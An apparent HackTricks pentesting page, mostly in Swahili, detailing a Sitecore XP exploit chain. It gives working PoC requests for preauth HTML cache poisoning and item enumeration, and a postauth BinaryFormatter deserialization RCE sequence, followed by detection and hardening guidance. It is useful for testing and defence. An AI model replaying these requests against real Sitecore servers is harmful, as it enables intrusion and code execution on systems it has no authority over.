9.8 KiB
Raw Blame History

Sitecore Experience Platform (XP) Preauth HTML Cache Poisoning to Postauth RCE

{{#include ../../../banners/hacktricks-training.md}}

Ukurasa huu unafupisha mlolongo wa shambulio wa vitendo dhidi ya Sitecore XP 10.4.1 ambao unasogeza kutoka preauth XAML handler hadi HTML cache poisoning na, kupitia authenticated UI flow, hadi RCE kupitia BinaryFormatter deserialization. Mbinu hizi zinaweza kutumika kwa toleo/vipengele vinavyofanana vya Sitecore na zinatoa primitives maalum za kujaribu, kugundua, na kuimarisha.

  • Bidhaa iliyoathiriwa iliyojaribiwa: Sitecore XP 10.4.1 rev. 011628
  • Imerekebishwa katika: KB1003667, KB1003734 (June/July 2025)

See also:

{{#ref}} ../../../pentesting-web/cache-deception/README.md {{#endref}}

{{#ref}} ../../../pentesting-web/deserialization/README.md {{#endref}}

Preauth primitive: XAML Ajax reflection → HtmlCache write

Sehemu ya kuingia ni preauth XAML handler iliyosajiliwa katika web.config:

<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Inapatikana kupitia:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

Mti wa udhibiti unajumuisha AjaxScriptManager ambayo, kwenye maombi ya tukio, husoma mashamba yanayodhibitiwa na mshambuliaji na kwa reflection huitekeleza mbinu kwenye vidhibiti vilivyolengwa:

// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Uchunguzi muhimu: ukurasa wa XAML una mfano wa XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl unatokana na Sitecore.Web.UI.WebControl (darasa la Sitecore), ambalo linapitia ReflectionUtil.Filter allowlist (Sitecore.*), likifungua mbinu kwenye Sitecore WebControl.

Magic method for poisoning:

// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Kwa sababu tunaweza kulenga xmlcontrol:GlobalHeader na kuita mbinu za Sitecore.Web.UI.WebControl kwa jina, tunapata preauth arbitrary HtmlCache write primitive.

PoC request (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Vidokezo:

  • __SOURCE ni clientID ya xmlcontrol:GlobalHeader ndani ya Sitecore.Shell.Xaml.WebControl (kwa kawaida thabiti kama ctl00_ctl00_ctl05_ctl03 kwani inatokana na XAML thabiti).
  • __PARAMETERS muundo ni Method("arg1","arg2").

Nini cha kuchafulia: Ujenzi wa ufunguo wa Cache

Ujenzi wa kawaida wa ufunguo wa HtmlCache unaotumika na vidhibiti vya Sitecore:

public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Mfano wa targeted poisoning kwa sublayout iliyojulikana:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Kuorodhesha vitu vinavyoweza kuhifadhiwa kwenye cache na vipimo vya “vary by”

Ikiwa ItemService imefunuliwa (kibaya) kwa watumiaji wasiojulikana, unaweza kuorodhesha vipengele vinavyoweza kuhifadhiwa kwenye cache ili kupata funguo sahihi.

Jaribio la haraka:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Orodhesha vitu vinavyoweza kuhifadhiwa kwenye cache na flags:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Tafuta mashamba kama Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Majina ya vifaa yanaweza kuorodheshwa kupitia:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Sidechannel enumeration chini ya vitambulisho vilivyopunguzwa (CVE-2025-53694)

Hata pale ItemService inapoiga akaunti iliyopunguzwa (kwa mfano, ServicesAPI) na kurudisha Results array tupu, TotalCount inaweza bado kuonyesha preACL Solr hits. Unaweza bruteforce item groups/ids kwa wildcards na kuangalia TotalCount ikikaribia ili ramani maudhui ya ndani na vifaa:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Postauth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Inafikiwa kupitia hatua ya pipeline convertToRuntimeHtml ConvertWebControls, ambayo inatafuta kipengele chenye id {iframeId}_inner na hufanya base64 decode + deserialize yake, kisha inaingiza mnyororo uliotokana katika HTML:

HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Chochea (authenticated, Content Editor rights). Dialogu ya FixHtml inaita convertToRuntimeHtml. Mwishokwamwisho bila kubofya UI:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The strings contents are written into the HTML by ConvertWebControls after deserialization sideeffects execute.

{{#ref}} ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md {{#endref}}

Mnyororo kamili

  1. Preauth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.
  2. Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
  3. The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attackercontrolled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.

Ugunduzi

  • Preauth XAML: requests to /-/xaml/Sitecore.Shell.Xaml.WebControl with __ISEVENT=1, suspicious __SOURCE and __PARAMETERS=AddToCache(...).
  • ItemService probing: spikes of /sitecore/api/ssc wildcard queries, large TotalCount with empty Results.
  • Deserialization attempts: EditHtml.aspx followed by FixHtml.aspx?hdl=... and unusually large base64 in HTML fields.

Kukaza usalama

  • Weka Sitecore patches KB1003667 na KB1003734; zuia/zimia preauth XAML handlers au ongeza uthibitisho mkali; angalia na weka ratelimit kwa /-/xaml/.
  • Ondoa/badilisha BinaryFormatter; punguza ufikiaji wa convertToRuntimeHtml au utekeleze uthibitisho mzito upande wa server kwa HTML editing flows.
  • Funga /sitecore/api/ssc kwa loopback au roles zilizo authenticated; epuka impersonation patterns ambazo zinatoa leak za sidechannels za TotalCount.
  • Tekeleza MFA/least privilege kwa watumiaji wa Content Editor; pitia CSP ili kupunguza athari za JS steering kutokana na cache poisoning.

References

{{#include ../../../banners/hacktricks-training.md}}